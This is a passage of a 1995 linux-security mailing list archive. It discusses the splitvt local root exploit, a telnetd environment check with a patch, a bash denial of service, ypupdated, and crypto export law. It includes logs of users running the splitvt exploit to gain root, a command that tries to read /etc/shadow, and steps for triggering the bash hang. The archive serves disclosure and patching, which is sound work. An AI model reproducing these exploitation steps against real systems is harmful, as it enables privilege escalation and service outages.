advisory concerning a "SITE EXEC" problem was part of > "CA-94:08.ftpd.vulnerabilities". It is not directly related to the > current security problem although some confusion (particularly with > respect to vulnerable wu-ftp versions) may have resulted from it. > > > ------------------------------snip-------------------------------- > > CA-94:08.ftpd.vulnerabilities 04/14/94 > This advisory addresses two vulnerabilities with some releases of > fptd and announces new versions and patches to correct these > problems. ftpd versions affected are wuarchive ftpd 2.0-2.3, > DECWRL ftpd versions prior to 5.93, and BSDI ftpd version 1.1 > prior to patch level 5. The vulnerabilities addressed are the > SITE EXEC and race condition vulnerabilities. > > ------------------------------snip-------------------------------- > > BTW, has anyone experienced an actual security breach due to this bug? > Thankfully, we were not affected. Or, (as happens so often with security > anyway) if we were, I don't know about it. ;-) With respect to the SITE EXEC hole, I am aware of one incident where this may have been one means of access to a site under attack. --G -- Gordon Dewis | WWW Virtual Library Geography Section is now at: 4th year Geography Hons | http://www.icomos.org/WWW_VL_Geography.html Carleton University | NewForce.ca Sysadmin http://www.newforce.ca From [email protected] Wed Dec 6 18:43:21 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA00135; Wed, 6 Dec 1995 18:43:21 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id AAA10265; Mon, 4 Dec 1995 00:06:22 -0500 Received: from crimson.cadvision.com (cadc39.cadvision.com [204.50.20.39]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id AAA28031; Mon, 4 Dec 1995 00:06:16 -0500 (EST) Received: (from root@localhost) by crimson.cadvision.com (8.6.11/8.6.9) id WAA00401; Sun, 3 Dec 1995 22:02:38 -0700 Date: Sun, 3 Dec 1995 22:02:32 -0700 (MST) From: root To: Jeff Uphoff cc: [email protected], [email protected], [email protected] Subject: Re: 'ypupdated' hole, system crackers. In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Introduction to Avalon Security Research ---------------------------------------- Avalon Security Research is a non-for-profit network and host based security research group. ASR is composed of three members with deep interests and substantial experience with network and host security. ASR is involved in a number of security related research projects and will on a sporadic basis be releasing our information. This will be in either the form of preventitive security software or exploit code. ASR is without doubt a strong advocate of full disclosure. As such all exploit code released will be fully functional. We feel no need at this point to justify our actions with a diatribe of pro-full disclosure sentiment as we feel this is an already a well debated issue. All and any releases from ASR come without *ANY IMPLIED OR EXPLICIT WARRANTY AND NOR DO THE AUTHORS ASSUME ANY RESPONSIBILITY FOR USE OF OR MISUSE OF ANY ASR RELEASES*. At this date there has been no set standard format for releases, this will be developed as needed. Any queries or responses to ASR can be sent to [email protected]. Also anyone interested in being added to the ASR mailing list may simply mail [email protected] w/ SUB ASR in the body. ASR Inception February 7, 1994 Members Josh D. Ben G. Alfred H. linux-security/1995/linux-security.951208100664 1767 1767 14632 6062073505 17263 0ustar majdommajdomFrom [email protected] Fri Dec 8 11:49:17 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA12048; Fri, 8 Dec 1995 11:49:17 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id LAA03474; Thu, 7 Dec 1995 11:53:55 -0500 Received: from Athena.McRCIM.McGill.EDU ([email protected] [132.206.4.20]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id LAA14911 for ; Thu, 7 Dec 1995 11:53:46 -0500 (EST) Received: from Endeavour.McRCIM.McGill.EDU by Athena.McRCIM.McGill.EDU (8.6.10) with SMTP id <[email protected]>; Thu, 7 Dec 1995 11:52:09 -0500 Message-ID: <[email protected]> Date: Thu, 07 Dec 1995 11:52:06 -0500 From: Thierry Baron Organization: Centre for Intelligent Machines X-Mailer: Mozilla 2.0b3 (X11; I; IRIX 5.2 IP22) MIME-Version: 1.0 To: [email protected] CC: [email protected] Subject: Re: Avalon Release References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list [mod: redirected to linux-security and quoting trimmed --okir] root wrote: > Affected Program: splitvt(1) > > Affected Operating Systems: Linux 2-3.X > > Exploitation Result: Local users can obtain superuser privelages. [...] chmod u-s /usr/bin/splitvt avoid this potential problem -- Thierry | Thierry Baron /_/_/_/_/_/_/_/ _/_/_/_/ | Center for Intelligent Machines _/ _/ _/ | McConnell Engineering Building _/ _/_/_/_/_/ | 3480 University street _/ _/ _/ | Montreal,Qc,H3A 2A7 _/ _/ _/ | Canada _/ _/_/_/_/_/ | | Tel: (514) 398 8205 http://www.cim.mcgill.ca/~baron | Fax: (514) 398 7348 From [email protected] Fri Dec 8 11:55:09 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA12066; Fri, 8 Dec 1995 11:55:08 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id JAA02924; Thu, 7 Dec 1995 09:50:52 -0500 Received: from i17linuxb.ists.pwr.wroc.pl ([email protected] [156.17.35.8]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id JAA10308 for ; Thu, 7 Dec 1995 09:50:44 -0500 (EST) Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.12/8.6.9) id PAA11216 for [email protected]; Thu, 7 Dec 1995 15:48:37 +0100 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Another telnetd security problem? To: [email protected] Date: Thu, 7 Dec 1995 15:48:23 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list To be sure telnetd is not vulnerable to environment attacks, I suggest to add one more check: environment variable names may not contain any embedded '=' characters. Below is a test program (it prints "IFS=bar" with libc-4.7.4 at least) and one line fix (against the unofficial Debian netstd-1.23-1 telnetd). Credits go to Sam Hartman who mentioned this problem in a message sent to bugtraq on Oct 31. Marek #include #include int main(void) { setenv("IFS=foo", "bar", 1); printf("IFS=%s\n", getenv("IFS")); return 0; } diff -urN telnetd.orig/state.c telnetd/state.c --- telnetd.orig/state.c Mon Nov 6 12:56:21 1995 +++ telnetd/state.c Thu Dec 7 14:25:33 1995 @@ -1063,6 +1063,7 @@ strncmp(varp, "ELF_LD_", strlen("ELF_LD_")) && strncmp(varp, "AOUT_LD_", strlen("AOUT_LD_")) && strncmp(varp, "_RLD_", strlen("_RLD_")) && + !strchr(varp, '=') && strcmp(varp, "LIBPATH") && strcmp(varp, "ENV") && strcmp(varp, "IFS")) { From [email protected] Fri Dec 8 12:34:58 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA12274; Fri, 8 Dec 1995 12:34:57 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id LAA03426; Thu, 7 Dec 1995 11:50:35 -0500 Received: from tigger.beckman.uiuc.edu (tigger.beckman.uiuc.edu [128.174.212.8]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with ESMTP id LAA14823; Thu, 7 Dec 1995 11:50:32 -0500 (EST) Received: from tigger.beckman.uiuc.edu (localhost [127.0.0.1]) by tigger.beckman.uiuc.edu (8.7.1/8.7.1) with ESMTP id KAA30454; Thu, 7 Dec 1995 10:49:51 -0600 Message-Id: <[email protected]> X-face: ?/"MXina;Tt'.c6A>P1["3Wm#HCKX-/DEGN$1y[T?I6fCGFUTh]6'<@mJ&1TSRDlc_>|Lo' %b|.Rwf= `7~U>E@VElJ`RI\Sb1h X-Uri: http://www.beckman.uiuc.edu/~baba/ Reply-to: Baba Z Buehler From: Baba Z Buehler To: root cc: Jeff Uphoff , [email protected], [email protected], [email protected], [email protected] Subject: Re: Avalon Release In-reply-to: Your message of "Sun, 03 Dec 1995 22:52:37 MST." Date: Thu, 07 Dec 1995 10:49:51 -0600 Sender: [email protected] Precedence: list root writes: > Affected Program: splitvt(1) > > Affected Operating Systems: Linux 2-3.X > > Exploitation Result: Local users can obtain superuser privelages. > > Bug Synopsis: A stack overflow exists via user defined unbounds checked > user supplied data sent to a sprintf(). > There is no Linux 2-3.X. It would be much more helpfull if you would list versions of the kernel, libc and program that were used to exploit the hole. If you're going to list version numbers on Linux distributions, at least name the distribution you're getting the number from. Thanks, -- # Baba Z Buehler - 'Hackito Ergo Sum' # Beckman Institute Systems Services, Urbana Illinois # # I'm still learning to count backwards from infinity. # # PGP public key on WWW homepage and key servers (key id: C13D8EE1) # WWW: http://www.beckman.uiuc.edu/~baba/ linux-security/1995/linux-security.951209100664 1767 1767 12502 6062440634 17257 0ustar majdommajdomFrom [email protected] Sat Dec 9 20:51:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id UAA19216; Sat, 9 Dec 1995 20:51:10 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id WAA15559; Fri, 8 Dec 1995 22:15:40 -0500 Received: from crimson.cadvision.com ([email protected] [204.50.20.92]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id WAA15138; Fri, 8 Dec 1995 22:15:35 -0500 (EST) Received: (from asr@localhost) by crimson.cadvision.com (8.6.11/8.6.9) id UAA01320; Fri, 8 Dec 1995 20:11:30 -0700 Date: Fri, 8 Dec 1995 20:11:20 -0700 (MST) From: Avalon Security Research To: Baba Z Buehler cc: root , Jeff Uphoff , [email protected], [email protected], [email protected], [email protected] Subject: Re: Avalon Release In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 7 Dec 1995, Baba Z Buehler wrote: > There is no Linux 2-3.X. It would be much more helpfull if you would list My apoligies, it was in incorrectly numbered. > versions of the kernel, libc and program that were used to exploit the hole. This has nothing to do with libc. Moreover the program used to exploit the hole was in the very same release you replied to in case you somehow missed it. > If you're going to list version numbers on Linux distributions, at least name > the distribution you're getting the number from. It was supposed to be slackware. Although as far as I know this problem exists in RedHat as well. > > Thanks, Your quite welcome. From [email protected] Sat Dec 9 21:10:33 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id VAA19351; Sat, 9 Dec 1995 21:10:32 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id WAA15536; Fri, 8 Dec 1995 22:01:40 -0500 Received: from palat.pcnet.ro ([email protected] [193.230.36.1]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id WAA14902; Fri, 8 Dec 1995 22:01:30 -0500 (EST) Received: (from nls@localhost) by palat.pcnet.ro (8.6.12/8.6.9) with UUCP id EAA00434; Sat, 9 Dec 1995 04:06:20 +0100 Received: (from pappy@localhost) by nls01.nls.pcnet.ro (8.6.11/8.6.11) id EAA02866; Sat, 9 Dec 1995 04:09:03 +0200 Posted-Date: Sat, 9 Dec 1995 04:09:03 +0200 Date: Sat, 9 Dec 1995 04:09:02 +0200 (EET) From: Razvan STANESCU To: [email protected], [email protected] Subject: Re: Avalon Release Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- On Thu, 7 Dec 1995, Baba Z Buehler wrote: > root writes: > > Affected Program: splitvt(1) > > > > Affected Operating Systems: Linux 2-3.X ^^^^^ > > Exploitation Result: Local users can obtain superuser privelages. > > > > Bug Synopsis: A stack overflow exists via user defined unbounds checked > > user supplied data sent to a sprintf(). > > > > There is no Linux 2-3.X. It would be much more helpfull if you would list ... agree > versions of the kernel, libc and program that were used to exploit the hole. Sorry, on my system that hack does not work. I have 1.2.13 compiled as ELF (patch available somewhere at ftp://ftp.pcnet.ro/pub/linux/), but compiling and running that hack, I got nothing but garbage, also `splitvt' told me domething about an illegal instruction, but I never didn't get UID==0. Here is my session - ----------------------- tty11 nls01!pappy:~/> cc -o sp sp.c tty11 nls01!pappy:~/> ./sp bash: [ garbage ] bash$ ./sp bash: [ garbage ] bash$ splitvt Illegal instruction bash$ whoami pappy bash$ id uid=1000(pappy) gid=100(nls) bash$ cat /etc/shadow cat: /etc/shadow: Permission denied - ------------------------ NB: The second time when I compiled `sp', there was no garbage... because of the moon :-) So, where is the bug? What should I have to do (if any)? Is the `bash' itself, or splitvt (or the kernel)? I have no "standard" distribution, I compiled all, as ELF starting with InfoMagic March 1995 (I used `debian', `slackare' and some GNU related ftp-s) Is this dependent on ELF or AOUT? (I run both, no room for compiling X*): ld.1.7.3, libc-5.0.9, libc-4.6.27 (aout). Thank you, >-- pappy ----------------- ------------------------------ | Razvan Stanescu | phone/fax: (+40) 1 6654292 | ----------------- ------------------------------ | email: [email protected], [email protected] | ------------------------------------------------ Win95 is not a virus; a virus does something. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQBVAgUBMMjvt7HbtxtV5OZJAQGOSQH8Cc+m4Z8WiWlw4D13sdWvIQw0LkH0/Lpu mirvuo7ef3LgL/nvL+M39lJhOgbMCCQAqRLGIrwGTOz76nMDD+IUTg== =od+c -----END PGP SIGNATURE----- linux-security/1995/linux-security.951210100664 1767 1767 3352 6062626622 17235 0ustar majdommajdomFrom [email protected] Sun Dec 10 13:57:19 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id NAA23680; Sun, 10 Dec 1995 13:57:18 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id WAA20832; Sat, 9 Dec 1995 22:24:10 -0500 Received: from tweety.redhat.com (tweety.redhat.com [199.183.24.10]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with ESMTP id WAA26976; Sat, 9 Dec 1995 22:24:07 -0500 (EST) Received: from tweety.redhat.com (localhost [127.0.0.1]) by tweety.redhat.com (8.7.1/8.7.1) with ESMTP id WAA00749; Sat, 9 Dec 1995 22:24:15 -0500 Message-Id: <[email protected]> To: Avalon Security Research cc: Baba Z Buehler , root , Jeff Uphoff , [email protected], [email protected], [email protected], [email protected], [email protected] Subject: Re: Avalon Release In-reply-to: from Avalon Security Research on Fri, 08 Dec 1995 20:11:20 MST. Date: Sat, 09 Dec 1995 22:24:14 -0500 From: Marc Ewing Sender: [email protected] Precedence: list Avalon Security Research writes: > > If you're going to list version numbers on Linux distributions, at least na > me > > the distribution you're getting the number from. > It was supposed to be slackware. Although as far as I know this problem > exists in RedHat as well. There is no "splitvt" in Red Hat. -Marc linux-security/1995/linux-security.951212100664 1767 1767 15706 6063347641 17267 0ustar majdommajdomFrom [email protected] Tue Dec 12 04:24:05 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id EAA13074; Tue, 12 Dec 1995 04:24:04 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id RAA25275; Sun, 10 Dec 1995 17:09:47 -0500 Received: from bbfm.di.com ([email protected] [204.74.64.1]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id RAA10142 for ; Sun, 10 Dec 1995 17:09:44 -0500 (EST) Received: from win-today.dsc.com by bbfm.di.com (8.6.10/TD-1.21) with SMTP id OAA04092 for on Sun, 10 Dec 1995 14:09:00 -0800 Date: Sun, 10 Dec 1995 14:09:00 -0800 Message-Id: <[email protected]> X-Sender: [email protected] X-Mailer: Windows Eudora Version 2.1.1 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: [email protected] From: Todd Day Subject: Possible denial of service attack Sender: [email protected] Precedence: list This concerns GNU bash, version 1.14.2(1), at least. Through accident, I've found that if you enter a twiddle (~) followed by about seven lines of non-space characters, BASH will consume all computing resources and start swapping like mad. My system went down the other day because there was something on the keyboard that caused tons of twiddles to be typed, then enter got pressed. It took about 10 minutes for me to switch to a virtual terminal, log in, and kill the bash shell on the other virtual terminal. Everything went back to normal after that. If you want to try this for yourself, I suggest you get a kill -9 ready on another virtual terminal first. This problem doesn't occur if you try this without the leading twiddle. I suspect the problem lays in the area of BASH that deals with twiddle dereferencing (perhaps it has a buffer that is being overwritten). Any user with a login account can use this to bring your system to its knees. Sorry if this has been covered (perhaps I have an old version of BASH), but I've not seen it before. -todd- From [email protected] Tue Dec 12 04:28:58 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id EAA13090; Tue, 12 Dec 1995 04:28:58 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id DAA27613; Mon, 11 Dec 1995 03:38:45 -0500 Received: from hermes.intel.com (hermes.intel.com [143.183.152.3]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with ESMTP id DAA15841 for ; Mon, 11 Dec 1995 03:38:43 -0500 (EST) Received: from FAB10.intel.com by hermes.intel.com (8.7.1/10.0i); Mon, 11 Dec 1995 00:38:09 -0800 Date: Mon, 11 Dec 95 00:38:09 PST From: Dave Airlie Extn 6250 Automation Message-Id: <[email protected]> X-To: HERMES::"[email protected]" Subject: Re: Avalon Release To: [email protected] Sender: [email protected] Precedence: list I noticed on my system ( nearly all Slackware 3.0 ) that it does not all ways occur .. It seems to depend on your gid ?? skynet (airlied)% sp bash$ sp bash$ sec-splitvt Segmentation fault bash$ id uid=666(airlied) gid=23(sysadm) groups=23(sysadm), 25(xusers),27(recipies),100(users),204(shulgin),221(2proj),222(compsoc) But as another a/c skynet (1000020)% sp bash$ sp bash$ sp bash$ sec-splitvt bash# id uid=622(1000020) gid=100(users) euid=0(root) groups=100(users),222(compsoc) So if you think your system is not affected try using another a/c .. David Airlie, ( Any views herein are my own personal views and are not the views of my employer ) From [email protected] Tue Dec 12 04:30:20 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id EAA13105; Tue, 12 Dec 1995 04:30:20 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id RAA32293; Wed, 6 Dec 1995 17:39:56 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id RAA29641 for ; Wed, 6 Dec 1995 17:36:32 -0500 (EST) Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0tNS6H-0005C2C; Wed, 6 Dec 95 23:14 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0tNSov-00005kC; Thu, 7 Dec 95 00:00 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: ypupdated hole To: [email protected] Date: Thu, 7 Dec 1995 00:00:13 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: [email protected] Precedence: list Greg Spigelberg wrote: > Whether or not a keyserv exists for Linux I still wouldn't discount > this hole because Linux still runs many ports of the BSD servers. Linux doesn't have a working set of `secure' RPC tools yet, fortunately. I ported most of the stuff from RPCSRC-4.00 once, and even wrote a small ypupdated replacement. Anyone interested in taking this any further please contact me. However, just installing the tools won't do you any good if you don't require all other sensitive RPC tools to use DES authentication, too, especially NFS. And that means changing the kernel code. Olaf From [email protected] Tue Dec 12 13:53:19 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id NAA16201; Tue, 12 Dec 1995 13:53:19 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id LAA15499; Tue, 12 Dec 1995 11:38:52 -0500 Received: from mango.mymenus.com ([email protected] [165.90.137.1]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id LAA18457 for ; Tue, 12 Dec 1995 11:38:32 -0500 (EST) Received: by mango.mymenus.com (8.6.10/8.6.9) id KAA12315 for [email protected]; Tue, 12 Dec 1995 10:38:21 -0600 From: Pete Harlan Message-Id: <[email protected]> Subject: Re: Possible denial of service attack To: [email protected] Date: Tue, 12 Dec 1995 10:38:21 -0600 (CST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list > This concerns GNU bash, version 1.14.2(1), at least. > > Through accident, I've found that if you enter a twiddle (~) followed > by about seven lines of non-space characters, BASH will consume all I can confirm that this happens with 1.14.2(1), and that it doesn't happen with 1.14.4(1). Thanks for finding this---I'd been wondering where those run-amok bashes were springing from... --Pete Harlan [email protected] linux-security/1995/linux-security.951213100664 1767 1767 3552 6063651323 17237 0ustar majdommajdomFrom [email protected] Wed Dec 13 17:25:21 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA03559; Wed, 13 Dec 1995 17:25:21 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id TAA01349; Tue, 12 Dec 1995 19:48:32 -0500 Received: from mvmap66.ciw.uni-karlsruhe.de (mvmap66.ciw.uni-karlsruhe.de [129.13.110.66]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id TAA27806 for ; Tue, 12 Dec 1995 19:48:29 -0500 (EST) Received: (from ig25@localhost) by mvmap66.ciw.uni-karlsruhe.de (8.6.12/8.6.12) id BAA02073 for [email protected]; Wed, 13 Dec 1995 01:47:54 +0100 Message-Id: <[email protected]> Subject: Getting security tools into a mainstream distribution To: [email protected] (linux-security) Date: Wed, 13 Dec 1995 01:47:54 +0100 (MET) From: [email protected] (Thomas =?ISO-8859-1?Q?K=F6nig?=) X-Mailer: ELM [version 2.4 PL24 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: [email protected] Precedence: list What's the best way of getting cryptographic tools such as ssh or pgp by default into a mainstream Linux distribution, given US export law? I'm particularly concerned with ssh, which should (IMHO) completely replace rlogin/rsh, unless a specific fallback to those old and insecure utilities is needed for compatibility with other systems. Are any major Linux distributions hosted outside the US? Could they be moved, for that reason? Other comments? --=20 Thomas K=F6nig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. linux-security/1995/linux-security.951214100664 1767 1767 13541 6064073046 17260 0ustar majdommajdomFrom [email protected] Thu Dec 14 14:08:20 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id OAA11634; Thu, 14 Dec 1995 14:08:19 -0500 Resent-Date: Thu, 14 Dec 1995 13:49:25 -0500 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] Message-ID: <[email protected]> X-To: [email protected] From: Sam Lantinga To: Multiple recipients of list BUGTRAQ Subject: SECURITY: Announcing Splitvt 1.6.3 Date: Wed, 13 Dec 1995 17:56:56 PST X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list [Mod: This is a followup to the initial alert on splitvt; it's an announcement from splitvt's author, reposted here from the bugtraq mailing list. Since it's a forward from another list, I've not PGP signed it myself. --Jeff] Announcing the newest version of splitvt! SECURITY ALERT!!! splitvt versions lower than 1.6.3 are known to have a security hole allowing a user to gain ROOT access on some systems! If you have a version lower than 1.6.3 _please_ remove the set-uid bit on your current version, and upgrade to the newer version as soon as possible. ("splitvt -version" will tell you what version you are running) The set-uid bit is only for updating the utmp database and for changing ownership of its pseudo-terminals. It is not necessary for splitvt's operation. The latest version is available via anonymous ftp from dandelion.ceres.ca.gov in the /pub/splitvt directory. The output of md5sum on the TAR file splitvt-1.6.3.tar is: eec2fe2c5b4a3958261197905a9d9c81 splitvt-1.6.3.tar What it is: Splitvt is a program that splits any vt100 compatible screen into two - an upper and lower window in which you can run two programs at the same time. Splitvt differs from screen in that while screen gives you multiple virtual screens, splitvt splits your screen into two fully visible windows. You can even use splitvt with screen to provide multiple split screens. This can be very handy when running over a modem, or for developing client-server applications. What can I use it for? Well, at this time, I am aware of several ways in which people are using splitvt. Some people like to use it over the modem to allow them more than one window at a time, others like to use it in xterms because they prefer having everything on the screen at once, and some people are using it in conjunction with the -rcfile option to automate system administration tasks. If you are using splitvt in a new and unusual way, I'd like to hear about it! Direct all comments to [email protected] Where can I get it? Splitvt is available for anonymous ftp from dandelion.ceres.ca.gov in the /pub/splitvt directory. You can also get it from sunsite.unc.edu in /pub/Linux/Incoming now, and will hopefully to be moved to /pub/Linux/utils/terminal. The file is splitvt-1.6.3.tgz and it is in tarred and gzipped format. What's new? Lots of stuff. :) Here is the list of things from the CHANGES file: Version 1.6.3 Patched some security holes: fixed sprintf overflow in parserc.c fixed env label overflow in parserc.c fixed env variable expansion overflow added read access check in parserc.c added chdir() access check in parserc.c fixed sprintf overflow in vtmouse.c Version 1.6.2 Fixed a bug in vt_showscreen() Fixed separator redisplay in vt_prompt() Added the ANNOUNCE file Added a "cd" command to the startup file Added -t option to change xterm title xterm title is reset, if possible, at exit Added xterm drag-n-drop of separator bar Speeded up separator bar movement (broken) Fixed cut-paste highlighting (broken) Integrated cut-paste with X selection (xcb) Fixed job control for FreeBSD (thanks to Quang Ngo) Fixed bug in cursor keys (showed up in vi) ---- What's planned? I want to beef up the startup file syntax so that you can specify the format of the "status bar", or window divider, and I plan to rewrite the startup file parser so that it allows you to use more flexible and powerful startup scripts. I am also toying with the idea of cut-paste "screen" style, and a window history that you can scroll back through. I have cut-paste partially working. Other things on the pot are cleaning up dead windows, dynamically starting new windows, etc... If you have any wishes, just let me know at [email protected], and I'll try to include them in future releases of splitvt. I'll try to avoid feeping creaturism, but a few bells and whistles would be nice. :) Note: At the moment I have several other projects, and have this one on unspecified hold. This release was mainly to fix some security holes. Will it run on my system? Well, if you run a UNIX that has pseudo-tty support, chances are that splitvt will work on your system. Splitvt has been ported to all of the "standard" unices, and also to a few oddball unices, such as AIX, NewsOS, MP-RAS, and NeXT. Well, that about wraps it up. I hope you enjoy this software, originally conceived by Dave Ljung and created by yours truly. Enjoy! -Sam Lantinga ([email protected]) linux-security/1995/linux-security.951215100664 1767 1767 11223 6064223267 17256 0ustar majdommajdomFrom [email protected] Fri Dec 15 02:41:27 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id CAA14503; Fri, 15 Dec 1995 02:41:26 -0500 Date: Thu, 14 Dec 1995 10:39:19 -0500 (EST) From: Matt Zimmerman To: Thomas =?ISO-8859-1?Q?K=F6nig?= cc: linux-security Subject: Re: Getting security tools into a mainstream distribution In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 13 Dec 1995, Thomas =?ISO-8859-1?Q?K=F6nig?= wrote: > What's the best way of getting cryptographic tools such as ssh or > pgp by default into a mainstream Linux distribution, given US > export law? >From what I understand, it would be a bad idea. > Are any major Linux distributions hosted outside the US? Could they > be moved, for that reason? Other comments? If you're asking if they could be moved into the US, I don't think that's a solution. Including export-restricted materials would mean that it would be illegal to distribute them to other parts of the world, no? I'm not familiar with the origins of ssh...but if someone were to develop such a product outside of the US, it could be freely distributed. // Matt Zimmerman Chief of System Management NetRail, Inc. // [email protected] [email protected] // (703) 524-4800 [voice] (703) 524-4802 [data] (703) 534-5033 [fax] From [email protected] Fri Dec 15 02:41:43 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id CAA14517; Fri, 15 Dec 1995 02:41:42 -0500 Message-Id: <[email protected]> Date: Thu, 14 Dec 1995 10:06:18 -0600 From: Dave Stagner Organization: National Computer Systems X-Mailer: Mozilla 2.0b3 (X11; I; AIX 2) Mime-Version: 1.0 To: Thomas =?ISO-8859-1?Q?K=F6nig?= Cc: [email protected] Subject: Re: Getting security tools into a mainstream distribution References: <[email protected]> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: [email protected] Precedence: list [mod: quotung trimmed --okir] Thomas =3D?ISO-8859-1?Q?K=3DF6nig?=3D wrote: > What's the best way of getting cryptographic tools such as ssh or > pgp by default into a mainstream Linux distribution, given US > export law? > = I see one major problem with this... any encryption software based on the RSA algorithm (most notably PGP) is subject to patent restrictions in the US entirely separate from export restrictions. Free software using RSA released in the US must legally be built using the RSAREF library (used by the US version of PGP distributed by MIT), while RSA-based software used overseas uses a clone of the RSAREF library (I can't remember its name offhand). Meanwhile, the RSAREF library itself is illegal to use outside the US (at least according to US law!) So we have two problems here. The first is that it would be illegal to export a Linux distribution with strong encryption from the US. The second is that it would be illegal to import a European-based distribution with strong encryption INTO the US, albiet for different reasons. The only answer I can see offhand is to maintain parallel development of a distribution, one for the US and one for the civilized world. The only difference would be the use of RSAREF in the US version and the RSAREF clone for the non-US version. And while technically legal, such an approach could lead to legal harassment for the maintainers in the US, either from the US govt or from Public Key Partners. = Another possibility 